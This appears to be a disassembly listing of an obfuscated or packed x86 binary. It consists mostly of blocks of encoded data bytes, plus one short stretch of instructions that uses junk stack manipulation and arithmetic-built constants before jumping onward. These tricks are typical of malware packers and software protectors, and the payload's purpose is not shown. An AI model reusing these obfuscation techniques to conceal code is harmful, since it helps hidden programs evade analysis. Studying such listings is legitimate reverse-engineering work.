dd 936A29EAh, 0C171E6B9h, 4E8A5B2h, 44B2A8h, 57080000h
dd 6C194D88h, 0A6481FBDh, 0A21E4B1Dh, 6686F021h, 0F097E048h
dd 0D685770Eh, 0F0F56EB6h, 0D4E8770Eh, 1F2BE580h, 770EF086h
dd 26916FFAh, 68225C5Ch, 74F0F585h, 0EF0EB54h, 0C68A5177h
dd 0AF03h, 4701B200h, 0EF06AE3h, 0A503D677h, 39716F1Ah
dd 0B95D6866h, 0AC08DF9Fh, 0BD6C56F2h, 7D27511h, 0F2F39A6Bh
dd 1971CF9Ah, 88DCE1B4h, 15AD5225h, 4E1EA370h, 25CD9D1Bh
dd 710B7F35h, 906104B2h, 65A98D6Bh, 91F65506h, 6AFB6D3h
dd 0B90A922h, 0F5401771h, 9A836A7Fh, 6361CCF5h, 5B713944h
dd 79EB677h, 0C1C5A21h, 6F04F7CBh, 6BF615C6h, 2B318053h
dd 0C9E1744Dh, 3FA95224h, 0D3BECEAAh, 0AAD1BB3Ch, 7427468Ah
dd 33DB3A98h, 6337EDB2h, 0D646DF6Bh, 2FBA7705h, 305BE440h
dd 0F354F4B2h, 2E74FFD8h, 0C7BFBA6Dh, 8E48EBFh, 0B52EA229h
dd 4B6785F0h, 0B2D1D6BAh, 0D1B4D4DDh, 0CC0D1D5Bh, 0A07508F2h
dd 27CE5335h, 0E2D3D74Ch, 0E4E1EB10h, 0DA66E2D3h, 414D54Eh
dd 0D1BC2B71h, 0DCB3064Ah, 14A72008h, 95157104h, 4151CB5h
dd 6EF56071h, 2421C983h, 0DC80FB25h, 4BD6B63Bh, 0E74A02A3h
dd 0EEFBED16h, 9D3D61DFh, 480256EAh, 0F94C00A5h, 6AF79116h
dd 0A0457D82h, 3B5329D2h, 16287CB0h, 0AD407E7Fh, 384C28CDh
dd 200BEF7Eh, 0E82A2A49h, 0A3F4431Ch, 983D4074h, 0D0B53314h
dd 3DD0B83Dh, 3, 2A800340h, 5B26A647h, 0F45933B4h, 66CB9D26h
dd 967B6D92h, 0D90F801h, 0B805476Ch, 0D4B9D3D4h, 422FB942h
dd 0B4008B1h, 5E08950h, 4, 4BE56h, 0F0290000h, 2404875Eh
dd 3EB2685Ch, 0C890000h
db 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ebp
sub esp, 4
mov [esp], esi
push 57CD5C6Ah
pop esi
xor esi, 34425EAh
sub esi, 109B179Ah
dec esi
sub esi, 3DE45B90h
mov ecx, esi
pop esi
push esp
mov ebp, [esp]
add esp, 4
push 2BD6h
mov [esp], ecx
pop dword ptr [ebp+8]
mov ebp, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
mov ecx, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_5439D9
; ---------------------------------------------------------------------------
dd 0B892B23Fh, 60A0B38h, 0E0FFC503h, 3FBC686Bh, 7B6F2BB1h
dd 573403AFh, 5A96EE08h, 2714ADFCh, 76EA40EDh, 40AD8161h
dd 128AC67Ah, 70801D7Ah, 50E2C2A5h, 4F9DBCB4h, 0B701D4h
dd 474C7D48h, 822E04EBh, 68E9087Ah, 31000005h, 0BA0F5D62h
dd 29BCD0D9h, 5B2EA247h, 0CB5E32B3h, 65CF9D26h, 0E60BECBAh
dd 7A7B1FE2h, 0C8F18316h, 595E3184h, 1C2C6A0Bh, 7104E483h
dd 2AB437F9h, 6C2AA243h, 9AF2F799h, 7B1C71CFh, 0C4553876h
dd 97D37AF5h, 0D4A3C018h, 375BD1B4h, 0ED16E489h, 7F12EEFBh
dd 0C3751798h, 0B5A82109h, 4114770Eh, 0CEEF86EBh, 0B952F6B0h
dd 79770EB5h, 7DC4719Dh, 0F665BC33h, 0EE8F127Ah, 0CF5A5F3Dh
dd 0F418149Dh, 9CDADBB2h, 0C88025C9h, 114FB057h, 0B7023479h
dd 1AEB5539h, 90F57378h, 2CC1F902h, 0A4C8A449h, 618A6BFAh
dd 0E3866267h, 787D1011h, 5D30D5EDh, 0DF553058h, 0A94E228Fh
dd 4802B43Fh, 0EC167E0h, 0AA06D577h, 6A084296h, 0D7BE0341h
dd 0F06EB6D6h, 3A770EC1h, 0F9B3D206h, 0EC1B851h, 0DB510477h
dd 6D22D4E8h, 9B9399h, 12C0000h, 0F06AE347h, 3D6770Eh
dd 422DC0A5h, 0C9A195C0h, 997F12BAh, 866D7810h, 6CA33EC6h
dd 0D169770Eh, 36565B3Ch, 0BDE1D553h, 6CCEA1BBh, 85E99h
dd 491C0000h, 1F4A02A7h, 5E0122A1h, 442C2E4Fh, 757E1F96h
dd 0DEB7613h, 0F1DC9B78h, 0E50EE04Bh, 0F115AAD4h, 966B15A0h
dd 66CDB6AAh, 0F1FA9B66h, 5D620A97h, 31D4820Bh, 7235F64h
dd 770E6A8Eh, 0B58967F2h, 0E0480261h, 770E6A67h, 0C7AA06D5h
dd 4ADF8D36h, 646AC8A3h, 0B04F1B7Bh, 14F9A725h, 0C9F28481h
dd 817F6A62h, 0BC452A02h, 68916302h, 8411FC8Ch, 0FCBE6D7Fh
dd 2BCCA342h, 0EF068E1h, 0AB01D477h, 660B4397h, 3072255Dh
dd 0C0425165h, 0B5791236h, 10C7770Eh, 0F65B2F85h, 63CE9E1Fh
dd 904A648Dh, 0EB51FB8h, 72CE9D77h, 41958B1Ah, 6D115D57h
dd 8B1A99h, 2AA50000h, 42DB6F45h, 0BE770EF0h, 8A0C5C2Bh
dd 0F0DF78D0h, 8E5D770Eh, 0AFAF42E9h, 3EBAE531h, 0AC3CC5ABh
dd 681B4FE5h, 0A021C1B7h, 8AE40183h, 8880D1CFh, 2045233Bh
dd 5326AA4Fh, 0C942E6BEh, 37770E2Ch, 2EB3D5A0h, 6409A146h
dd 6C791394h, 9129F890h, 2CDA73D7h, 7926770Eh, 26928B6Fh
dd 7EFA416Fh, 0A02163Ah, 0E5996D00h, 34h, 0BC452A16h, 0EB3412Ch
dd 9821F35Eh, 6B906DF0h, 5084B861h, 163AF6E6h, 5236BB5Ch
dd 0A0492A21h, 0F0820028h, 9084770Eh, 5250544Ch, 10F996Dh
dd 0A8000000h, 2DBF442Ah, 6E08AD40h, 0F0FB94B4h, 6D0D770Eh
dd 4A450048h, 249219Fh, 0DFE4B558h, 585CD88Dh, 179C7234h
dd 0AD4B3671h, 0B3515h, 0EA717512h, 77781FE2h, 0C4E98C11h
dd 0DFE17C84h, 0CA06710Bh, 8429CC86h, 9E761BEAh, 0BE0118Ah
dd 6DF86F71h, 8CC12B4Ch, 4B21558Ah, 3ABB5227h, 8728CF52h
dd 0F3A446C5h, 0A2FFE696h, 991EF12Ah, 5E82B632h, 3CD5752Fh
dd 80710BE0h, 630A5FD5h, 47D2D3BAh, 41DAE201h, 6E95936Ah
dd 26000001h, 0C6675E01h, 345D844h, 716F1AA5h, 48F31139h
dd 9A417511h, 67886FF2h, 0F4F99C61h, 41660994h, 0EA177629h
dd 3D01D474h, 0CAEF0844h, 0FB71C736h, 0D80C3093h, 0B237D8ADh
dd 5C318FDAh, 8728CCB9h, 573580C5h, 4C7104E9h, 6541831Ch
dd 0E81941A0h, 889CA71Dh, 47936A50h, 43h, 9E86F0F0h, 5BA4F5FAh
dd 29114CF1h, 95B5CD58h, 770E0F2Ch, 732D4510h, 0E0E3ED7h
dd 59D78277h, 0E70E931h, 576F770Eh, 1AE79103h, 0E0E950Eh
dd 917CEB77h, 0F0871D9h, 0E174770Eh, 0CF6EE3h, 0F0950000h
dd 914B6785h, 0F0DA73D7h, 0B326770Eh, 1773EAEEh, 1C98DDF3h
dd 11E6420Ch, 15AD3875h, 711B9C70h, 46F09814h, 4F5A595h
dd 8563B938h, 7E100DE0h, 7BC6EB8Dh, 0FBE97411h, 6E7E7F16h
dd 0B9CD6C6h, 4C710471h, 24E1B11Ch, 87C1AC51h, 4AF41804h
dd 0DB8ADE12h, 9C900921h, 0B3EC710Bh, 0FE9255F3h, 6D329978h
dd 29ADF84Ch, 4326825Eh, 2A450BACh, 6F29415Fh, 7AC639ACh
dd 0A40032A9h, 5C3F984h, 98F0676Fh, 255D6235h, 0CB46DF6Bh
dd 0D7BA7705h, 55D3BE3Fh, 22764E35h, 0DDCAA243h, 4D2BB63Bh
dd 611997E2h, 81CBEC8Ch, 1A2E68C4h, 74FFC76Fh, 9FCCD8Eh
dd 95C632FDh, 23991EF6h, 4A1B5702h, 0C5651DA2h, 710BB74Ch
dd 3B4F25B0h, 0AD85F0B8h, 89AA77CFh, 1D55209Dh, 88D820Dh
dd 616BFE75h, 90F4F99Ch, 3456A0Dh, 552AE0FBh, 0A8FC3077h
dd 0EAFEFF96h, 1D4F7007h, 6B0CE19Bh, 30CD4646h, 0A4336E94h
dd 2CD1A5C8h, 0A9FD37BCh, 0EBF9FE91h, 1E4E6F06h, 0CC3h
dd 99E4B700h, 0B0D0AEEh, 343C0BCh, 0A6472A80h, 33B45B26h
dd 9D26F459h, 6D9266CBh, 0F801967Bh, 476C0D90h, 0D3D4B805h
dd 0B942D4B9h, 8B1422Fh, 89570B40h, 4C781E7h, 81000000h
dd 4EFh, 243C8700h, 241C895Ch, 306668h, 241C8900h, 81E18951h
dd 4C1h, 4E98300h, 5C240C87h, 51243C89h, 0A0C1BB9h, 595B5106h
dd 243C8B54h, 4C481h, 0B8500000h, 8, 7501005h, 2DF80134h
dd 34075010h, 0FF581889h, 835F2434h, 34FF04C4h, 0C4815B24h
dd 4, 0F96BECE9h, 793D40FFh, 0BEC9319Ch, 0B8EF5C48h, 60A110Ah
dd 0E0FFC503h, 4C5710C4h, 485F6461h, 517F8F33h, 16681AE8h
dd 19E547B6h, 0C485FC4h, 22C2F1F4h, 6DD4198Ch, 12478D8Dh
dd 8D89060Ah, 60331D1h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 15h, 49C35545h, 0F18B66F7h, 1E185C7h, 6C800603h
dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h
dd 56460000h, 0D99C61C3h, 84A42B3Ah, 0E99D641Bh, 0Ch, 0D0F7A54Fh
dd 8DBC41C3h, 74A859BCh, 21BD85C7h, 603h, 9D0B0000h, 6030951h
dd 625B5FFh, 9D890603h, 6031B85h, 269195FFh, 958B0603h
dd 6032FE1h, 95FF006Ah, 6031FB9h, 0DEBC08Bh, 7FE905EFh
dd 0D36B60E2h, 8A9059D4h, 0CE04EB2Dh, 0E93BE5FAh, 0CAAh
dd 0A13F768h, 6AF7E906h, 3468FFF9h, 0E9060A15h, 0FFF96AEDh
dd 0A173268h, 6AE3E906h, 2768FFF9h, 0E9060A18h, 0FFF96AD9h
dd 0A1B0F68h, 6ACFE906h, 6D68FFF9h, 0E9060A1Ch, 0FFF96AC5h
dd 0A1D9B68h, 6ABBE906h, 0F180FFF9h, 683598CCh, 0D6B80D43h
dd 422ABF2Dh, 0B55A2FBDh, 2BEA580Ch, 73119A7Fh, 0E7E50AEEh
dd 157B8012h, 84C8ED80h, 0F46DBDFDh, 487104DEh, 432A3BB8h
dd 996C2AA2h, 1578F4F9h, 866B7D82h, 596237F4h, 0D3D19AF2h
dd 9F20F78Fh, 476C02E3h, 80E44005h, 31575C3Dh, 0E47DCD87h
dd 58770EF0h, 0B73CDE8Dh, 0C4C15439h, 1DA67730h, 0D9B31E4Bh
dd 0DAA7218Ch, 91DEB233h, 0A0B102E6h, 6235DB32h, 4C21DB97h
dd 3B7001AAh, 5DF45C44h, 0DBB19917h, 59751138h, 9532DAB2h
dd 93710B18h, 657F79ADh, 62936976h, 34h, 6785F09Dh, 0FF4DFF4Bh
dd 14C37511h, 0DDE68B5Ah, 0A62DE8Bh, 0BDF65E2h, 6607A371h
dd 0F8506E8Fh, 710BDF5Fh, 8EB20EDDh, 41465E5Ah, 0B401936Ah
dd 0B2000000h, 6B8C6C01h, 0E5886461h, 3DFBED12h, 0AFD7429Ah
dd 1FF5F74h, 66668B6Ch, 99F3F49Bh, 0D2A46134h, 0FE0E4229h
dd 770E510Eh, 4004A94Ch, 0F3951AFDh, 8F2BC9B4h, 5F6030D5h
dd 26BF8B0Dh, 9A770E50h, 0A48460CFh, 7511613Ah, 0A91775E0h
dd 0E32886F6h, 0A9073BA4h, 3D75731Eh, 8BDDFEDh, 0F08E5D6Fh
dd 11777C1Dh, 0AFC6EB8Ch, 0E6D91988h, 61A0BD4Dh, 0DD00000Ah
dd 462BB93Eh, 0F5580CB5h, 67CA9E23h, 977A6E8Fh, 19EBF902h
dd 0C2E788DEh, 56573B8Eh, 24CDAF32h, 0B53ADDA0h, 20088ED7h
dd 7104DDA7h, 2A806315h, 6E28BC45h, 95F7F89Fh, 7E1174F0h
dd 0F0686B79h, 0FF4B6785h, 7511FF4Dh, 3D0DC7C3h, 710BDFA4h
dd 0C25B4D18h, 3E710BDFh, 2F7016ABh, 4EEC2DD1h, 0C441E9E3h
dd 40710B49h, 7E2BECA6h, 4EF807C7h, 0BFF069A3h, 7300710Bh
dd 484B1E4Eh, 79139865h, 172B816Ch, 20CFD5C3h, 0F288936Ah
dd 0EE000000h, 14747D1Fh, 7B801271h, 7BF87411h, 2AA2432Ah
dd 5F09B247h, 920B1FD9h, 0EE770EF0h, 62C9F283h, 6666876Fh
dd 0D5A58563h, 2C770EF4h, 58A10B6Bh, 216C0DB6h, 592C88AFh
dd 0CE5331B6h, 50C68627h, 0B4D4D9BDh, 0A1EC5BD1h, 59C36703h
dd 0C77511A1h, 0DFB75610h, 79A43D0Dh, 4D18710Bh, 49660AE6h
dd 0DB6583Eh, 0A05708A6h, 0EDF10128h, 0A8803EBAh, 6F0975ABh
dd 6C308809h, 0FD7F9491h, 58793656h, 58270EBCh, 0F9AA4F1Eh
dd 41079217h, 940D1DD7h, 0E87707F3h, 95FBF4B7h, 44D38D88h
dd 0CFF485E8h, 0D93B9FB4h, 578A62E6h, 924h, 167A7B1Eh
dd 9BC9F283h, 355B6036h, 0A52BCCA0h, 0D6BA3FD0h, 24F5A15Ch
dd 9464C99Fh, 0AE87D13h, 771EE3E1h, 47431276h, 4DB6AE3h
dd 4526D671h, 28BC452Ah, 0F1FA9F6Eh, 7E7F167Bh, 39D9AC6Ah
dd 3BB1D4B4h, 0A2432AB8h, 0FB0472Ah, 0F4FD9273h, 177BF194h
dd 0EF04AC7h, 5B3CD177h, 0D5533656h, 0B4D8DDB0h, 4579490Ah
dd 6E2A4B78h, 18946388h, 4B1DA275h, 0FEEE0FE6h, 0EBA3F72Dh
dd 26C7E304h, 0B3D7AD52h, 6D3D6C70h, 0C56B99h, 0F0940000h
dd 0FF4B6785h, 75120911h, 0E830580Fh, 710BC86Bh, 41577BB9h
dd 936A263Bh, 0CEF38568h, 0A16872h, 6F8B0000h, 770EF0F1h
dd 7630AED9h, 11FB58D2h, 0B6B9E675h, 0BF04DB23h, 0A63F0BA7h
dd 1A710B82h, 19ECE04Fh, 0B6E0B978h, 7F683C81h, 67618A68h
dd 0B2F59762h, 0CE9129C7h, 162A3749h, 9DDB5115h, 0DB6F29E3h
dd 710B0A42h, 68E12BBEh, 0D4710B0Ah, 0B583AB01h, 0A36F0E18h
dd 2FCD5034h, 0FB58F159h, 31A4770Dh, 0A37422AAh, 0F7AF32Bh
dd 0B3E47430h, 0A8F4070Dh, 0C0E98EDDh, 0D867DD88h, 9821F7ADh
dd 700E95F0h, 0DB63DAAFh, 9E72944h, 24A5FB4Fh, 0C637511h
dd 4207416Ah, 0FF4A6B0Fh, 4B974E9h, 0F08F0000h, 0FF4B6785h
dd 75120C6Dh, 0EB7A34A3h, 620AE607h, 95D7E3B4h, 5B2D305Eh
dd 0E75D6634h, 0BCA4AC7h, 6620C671h, 0BCA49C2h, 9F20B771h
dd 0A595E834h, 4E72CE71h, 21061E1Ah, 78C1936Ah, 72000004h
dd 0D8A347EEh, 0D68C9CDAh, 54751209h, 0C15DF652h, 34A3710Bh
dd 987C11A9h, 56CF5B17h, 0AA710BC1h, 2404413Fh, 0D7C8F254h
dd 0F7B3315Ch, 4BEA6D53h, 4C1CCBC5h, 1452503Bh, 47A6E334h
dd 0A54A59CBh, 2A7491Ch, 0E941FBB7h, 0C74BAC70h, 0E5A319CCh
dd 32B35A2Bh, 0DCB10F5Ah, 4DD0B439h, 0FB6A05AAh, 26491C0Eh
dd 7268B46h, 79180000h, 0F08D1074h, 5E3085CBh, 0CAA23755h
dd 3DD2A725h, 0A352D0B4h, 0CB9922F7h, 7F6D9266h, 0EDE308EAh
dd 1C707518h, 6CE54545h, 0D07104D9h, 5E014320h, 0C8DA35F9h
dd 0F2F39B86h, 11E48967h, 0C0CBFCECh, 5EA48422h, 0DC751179h
dd 0FE9C7109h, 700297F5h, 8EDEDFB3h, 9A1C4CDBh, 209C25CBh
dd 0B518F08h, 6167E471h, 0D3B2710Bh, 2EFAB43Dh, 710B61B5h
dd 57E05C0Bh, 36F08E2Ch, 9EF4BF57h, 3907F7EAh, 0C287C1ACh
dd 0B744666h, 7FEA6F0Fh, 0C248C56Dh, 16F8770Eh, 8116FBEDh
dd 81B31078h, 6ED2FD5Dh, 24263E3Ah, 1321996Dh, 52000000h
dd 4B6785F0h, 120BA5FFh, 9CCC9B75h, 2741h, 85F0FC00h, 27D35AADh
dd 84901311h, 0E98A2F44h, 7D35802Fh, 11D40FADh, 31C6AD75h
dd 721A9F70h, 34C58817h, 2BA8208Fh, 3A2432Ah, 0E6DF4A06h
dd 312E23CBh, 0D000006h, 0B61B496Eh, 2588DCE5h, 573AAE53h
dd 0C7AA3EBFh, 69DB8932h, 9217F8AEh, 66876BFEh, 0F4FD9F62h
dd 456A0D90h, 10387E07h, 7104D877h, 0F0B033C5h, 0FF4B6785h
dd 751208EDh, 340E9344h, 0B7BA6467h, 0F470DFE0h, 0F35E0EDDh
dd 25F59B1Ch, 4E46D227h, 0EC821F2h, 0EAE203EBh, 0C00DAFFh
dd 525724ABh, 811F69D6h, 0DBD9A4C3h, 0F0ED8B9Fh, 592C53C8h
dd 0F5A32B7h, 83C590B1h, 30545D3Eh, 0D0EE0C77h, 0F2993216h
dd 0A8804FC2h, 4FC2F22Fh, 10C7DE8Dh, 7C4EDA94h, 0F24DC60Fh
dd 40DD6567h, 0F055C61Eh, 63CE9E23h, 0FAFF9D8Eh, 76AE7D6Fh
dd 53C19022h, 86A25C0Fh, 55C61F0Dh, 4FD3E473h, 214926B4h
dd 152F1490h, 0D2782532h, 112h, 8C6C016Dh, 0F99C616Bh
dd 6AF194F4h, 5856218Eh, 9180A1Eh, 43167512h, 2CD1A409h
dd 0BD42D5B8h, 0EF05032Bh, 251B4E46h, 0CAC192F1h, 0AD13A7E4h
dd 0E689DC58h, 573E83C1h, 9A2CA585h, 0C59055C6h, 127871B4h
dd 0F65D723Ah, 6847D5B8h, 0CA9B0C0Ah, 9E1AE142h, 0DF9748CEh
dd 0F132E38h, 0D0CEDE5Ah, 84330122h, 4B2264A8h, 0BC5326AAh
dd 6E16513Bh, 0B4D4DDB2h, 1C2C4AD1h, 710B2263h, 115E32D9h
dd 1A2E4866h, 6F0E2B48h, 947913C6h, 5E8FC01h, 9D1B4D72h
dd 0CB9D26C8h, 790A229Eh, 0BB770E1Fh, 0D1BC2CD5h, 0ABD0B83Dh
dd 70F54589h, 0E87DE83Ch, 80193107h, 0FC770E1Fh, 9FCA8269h
dd 4A94C21h, 4781B840h, 0DFA9233Ah, 5B1583C1h, 0BA0756CFh
dd 35C7AA02h, 2289DC8Ch, 0AB4C2346h, 0A9D01921h, 82480F9h
dd 0CAEB82C4h, 0B035D9ACh, 1EA375D8h, 308C1B4Eh, 8126C95Ch
dd 1DD5A0C7h, 82A7A47Ah, 24422964h, 0FECB9A04h, 0B7D58082h
dd 4852h, 85F0E100h, 0B9914B67h, 770EF020h, 3573C99Ch
dd 120BBB15h, 9CDA8175h, 0F85028C9h, 710BC35Fh, 29A30EDDh
dd 0C5A8C0BCh, 63DDB338h, 4A7A29B0h, 0AC0816E1h, 0A2042BEBh
dd 0E6A0DEDAh, 0F24E6F07h, 0AF139DAh, 0F820B771h, 0A2432A7Bh
dd 0F8F6812Eh, 0DFC6ABEh, 0AF3A7512h, 1BA07213h, 38E98E5Fh
dd 6CC85758h, 0C2E7B518h, 1492FD8Ah, 0D688CE5Ah, 73E66F0Eh
dd 0C454F119h, 4B36770Eh, 433515ADh, 397511E1h, 0C27C3A52h
dd 0BF0ED66h, 28845371h, 0BF08300h, 0D8DDBD71h, 0AB502DB0h
dd 90C47821h, 7DA19F26h, 6A52617Bh, 181E93h, 0F0990000h
dd 0FF4B6785h, 75120BA5h, 0D3B2CC9Bh, 0AF3FB53Eh, 24B2h
dd 85F0C100h, 41FF4B67h, 0FF7511EFh, 0DEBF4E68h, 492EB3D5h
dd 0D6BD28A0h, 0E184325Ah, 7F841613h, 17ED786Dh, 975E019Ch
dd 6953F4FBh, 9A4537B4h, 0EA64C9C5h, 9E1AE106h, 0E08324CBh
dd 0E6DF946Dh, 4905D8B0h, 25000003h, 0AE335156h, 0DDA024CDh
dd 4FD2B63Bh, 0FF4206A7h, 71F3911Ah, 0FAFF90C6h, 4E6F0396h
dd 0DCE5B71Ah, 0AD522588h, 820663Fh, 7104D58Fh, 2A985BEDh
dd 32B35A43h, 5434BD5Fh, 5F22AA31h, 165137B8h, 0DEE3B56Bh
dd 0A952238Eh, 70DFAA3Fh, 33AC7C36h, 89770EF0h, 2866C2h
dd 7512004Ah, 0E17ACEC8h, 5F710BE0h, 83AB3D88h, 710BE106h
dd 35575C3Eh, 0AA22C7A8h, 0B9194DE3h, 0F2E62A16h, 936A3DEAh
dd 4AE5h, 47011600h, 0EF06AE3h, 16FBD677h, 3EEFBEDh, 0AE0AAF4Ch
dd 3E787601h, 0CB326E9Dh, 3ADE4385h, 2BB6D3B5h, 8537134Dh
dd 9C7511C6h, 2A862BC9h, 43225C0Bh, 0DCAC08B1h, 0BC89734h
dd 7BAF9571h, 6A2A677Dh, 0EC6093h, 1930000h, 6464896Ch
dd 0E6C99FABh, 8D188E51h, 0F0BB5237h, 0CD945473h, 76D2EC76h
dd 770E1EDDh, 9129B423h, 1E9A1FFCh, 1D0EE34Eh, 71147479h
dd 781FE2EAh, 0E5881577h, 8C7C8CC0h, 0CE770E23h, 54C28627h
dd 41ADE083h, 45231EF8h, 20A84D20h, 0C0FEFC87h, 0E7A92206h
dd 4017770Eh, 709EAAE4h, 0EE751205h, 2F5A157Bh, 7C09157Bh
dd 5B26CA8Bh, 6C160B1Fh, 47126F09h, 0CB55A2Bh, 670FDE58h
dd 0F287EA46h, 0CFC5B6C9h, 0E484E6D9h, 1EB69h, 33B44700h
dd 862BC85Dh, 10997FC2h, 0E005E97Ch, 737819ECh, 3268971Dh
dd 0AD30545Dh, 0D1A428CDh, 472ABE43h, 38590FB0h, 0D431AA7Eh
dd 0FD8F7104h, 886C017Eh, 13E48967h, 3216D0EEh, 770EF099h
dd 90F470E7h, 0DCBD6A0Dh, 9A0448D7h, 0F75329CBh, 770EF05Eh
dd 20A837A2h, 0AD5226A5h, 5E015CD7h, 3677BF0Ah, 98279D95h
dd 0F9B3CFEDh, 807C8114h, 117116A8h, 87C19475h, 0B51E27Fh
dd 777C1271h, 0C6EB8815h, 0FD211F86h, 0DA0E325Dh, 69B2C6DEh
dd 0DC8193h, 1320000h, 2FD4A647h, 0EF064FDh, 4ADED877h
dd 770EF0D1h, 572DB82Fh, 325A5B32h, 8690D384h, 72FC69F1h
dd 26FE93F6h, 0E098902h, 0FB98F777h, 0CC9C6BF6h, 0E0E5424h
dd 0CEEF8677h, 6CFEFB0h, 5852092Eh, 325731BAh, 0D0A5C9A7h
dd 97D0B83Dh, 0DDB0CEECh, 0B1D4B439h, 9FAD7D3Bh, 1D7511C4h
dd 87148D9Dh, 0FD68710Bh, 0E3B55816h, 900E62DEh, 8B6D1AFDh
dd 921D9B66h, 5E6331E7h, 0B2CC5B0Eh, 9226096h, 6F0BDE6Fh
dd 9CF0F99Eh, 20436809h, 0E6D98D59h, 0BDE96404h, 0B1000000h
dd 3A8FDDE2h, 0A93C5059h, 0DBAE22C7h, 4BDEB233h, 0E54F1DA6h
dd 668B6C3Ah, 0FAFB9F62h, 48710396h, 0D9DEB104h, 9CACEA8Bh
dd 7104D403h, 134B779h, 0F06AE347h, 3D6770Eh, 8A2FC0A5h
dd 1B9C73C6h, 432A0E75h, 936104A2h, 8D6B7E6Eh, 787D10FDh
dd 0B2305B14h, 0C7AB3AF4h, 37E9A626h, 36107AD0h, 78502CBBh
dd 7508F604h, 0A8355702h, 0D9AC20C5h, 0FD7B136h, 63DC38D5h
dd 61396DC3h, 967B698Eh, 28EEFEFFh, 2F18D777h, 29DC821Bh
dd 566BFE3Bh, 11EFFC44h, 7517987Ch, 0D6B94C0Eh, 33675BD1h
dd 7D13947Bh, 0E8E005E8h, 0F75h, 5E018800h, 791ADE4Bh
dd 60A82F70h, 0EAE9A503h, 26A6472Ah, 5933B45Bh, 0CB9D26F4h
dd 7B6D9266h, 90F80196h, 5476C0Dh, 0B9D3D4B8h, 2FB942D4h
dd 4008B142h, 0E689560Bh, 4C681h, 0EE810000h, 4, 5C243487h
dd 68242C89h, 7FEAh, 68241489h, 5652h, 51243489h, 3F3C16B9h
dd 2CC98115h, 52487126h, 0C330A7BAh, 42DAF758h, 1B36F281h
dd 0D1010FB6h, 59CA895Ah, 4EC81h, 24890000h, 24048124h
dd 4, 4EC835Eh, 8F241489h, 348B0846h, 0E6895624h, 4C681h
dd 0C6810000h, 4, 5C243487h, 5724148Bh, 0C781E789h, 4
dd 8704C783h, 0E95C243Ch, 0FFF95E59h, 7DB8D30Eh, 3060A1Eh
dd 35E0FFC5h, 0F44D0B36h, 0DF17D84Ch, 6018D04Ah, 4E16D716h
dd 940C3F17h, 7349D3F7h, 0A32E006h, 7F1E8BB8h, 1D43D768h
dd 626F5E4Bh, 3741C812h, 17FC528h, 70D097Fh, 0AB6B249Bh
dd 6144CE45h, 842413Bh, 6E0D57B4h, 0F827F53Fh, 0D02A3F3Bh
dd 0BA7489F1h, 5A6FE613h, 115BD87Dh, 2A488616h, 8948B9E6h
dd 697280FEh, 993C665Dh, 0B474424Dh, 68069ED0h, 0EB1239BDh
dd 703BA204h, 511E90Ch, 0DDBC0000h, 5421B4D8h, 0C25439AFh
dd 2EC6AB39h, 0A176DB89h, 3FFE7418h, 6F7D866Bh, 93F1F69Ah
dd 1476C0Eh, 0B0D4D9BCh, 881A9E1h, 747104D2h, 432A27C4h
dd 0DCC44B68h, 4BE20881h, 4B30D8A1h, 0D8B92CBBh, 412CB9D3h
dd 1AFC9107h, 1692F791h, 77159E73h, 0E2EA0BE2h, 1577781Fh
dd 86C6EB88h, 8EFD211Fh, 86B83BCDh, 65C30698h, 4486D00h
dd 9C25CB9Ah, 0AAF4D20h, 9821F346h, 688D6DF0h, 15397B60h
dd 9F58A576h, 67F2C449h, 0ED16E489h, 62836AFFh, 0C744C26Ah
dd 19FE770Eh, 0C76EE743h, 7D2770Eh, 0AC4DD0B8h, 31ED4507h
dd 1206ADEDh, 28D2EACEh, 538D996Dh, 2E000000h, 2AA2432Ah
dd 0EF08702h, 43978577h, 6D524F55h, 10899h, 2AAB0000h
dd 3ED77349h, 82770EF0h, 742E48D7h, 0EF03BD4h, 5EDA8177h
dd 17E5880Eh, 11EFFA92h, 721A9F7Ch, 791E07EFh, 3AE3E570h
dd 0FB98D206h, 680F92F6h, 0F6970147h, 95F09821h, 452AA41Fh
dd 0B4412CBCh, 0CA8223F7h, 0F558309Fh, 61CC9C21h, 73616B90h
dd 16BF1F43h, 2CA58354h, 4322280Ch, 0EF456E0Ch, 2ACF87CBh
dd 0B055C381h, 0AE4F27E0h, 6D0065C3h, 0DBBD0048h, 25F598D6h
dd 175EF753h, 37A2770Eh, 26A520A8h, 0A421AB50h, 39DDA0C8h
dd 0AC49D4B4h, 6FCA4507h, 17BC54D6h, 0B5F67DFh, 27BAF41h
dd 5B261F87h, 0D0C01408h, 996D42DCh, 849Bh, 452A2400h
dd 86BFB76h, 53F7939Dh, 770E67BAh, 79C45306h, 0C7EC826Fh
dd 0A05A1C85h, 0E680F88h, 2FE6D77h, 0BF50EA3Eh, 2EC3563Ah
dd 0CFA6FC4Fh, 93F28728h, 3DAF3A42h, 513BBC50h, 18184CF0h
dd 996D1414h, 71D3h, 1EEFA900h, 4D187079h, 0EBEC25Bh, 0CDAB3E77h
dd 0BC452A56h, 658E6302h, 0E28A6663h, 3A747D1Fh, 0A820C9ABh
dd 0D5979C3Dh, 7D8D56F0h, 0D30FE787h, 5322F78Fh, 751254B3h
dd 0DB89148Bh, 8C6C0198h, 1BF88D6Bh, 98678C6Eh, 0D5A746F0h
dd 5F4BD2E6h, 0F8478D2Ch, 6DBDF590h, 770E82F4h, 7279D48h
dd 770E8289h, 6F499D83h, 996CE455h, 112h, 442AAD00h, 5D0FB047h
dd 6D2BBD08h, 0FC32B7AAh, 0E05CCC6Dh, 83C5EA8Dh, 0FEB0E4D8h
dd 0B2FD9318h, 0B99129C7h, 7511408Fh, 0A30E5E0Dh, 0D0A52BCCh
dd 6FFEB83Dh, 67626A8Bh, 0BE59E189h, 76710B42h, 0EC711BA0h
dd 0F0E2EA0Fh, 2FC698CCh, 3C8BDE8Eh, 1A5C80BCh, 7A347273h
dd 0B4235AEh, 60DC8B71h, 0D1D6B90Ch, 71432AB7h, 2D584CAEh
dd 10BE3A0h, 710B9288h, 0F29A61F4h, 26F49951h, 0CF13279Dh
dd 9589FB9Ch, 0BC1715E8h, 25CAADC0h, 64788CA7h, 1C779369h
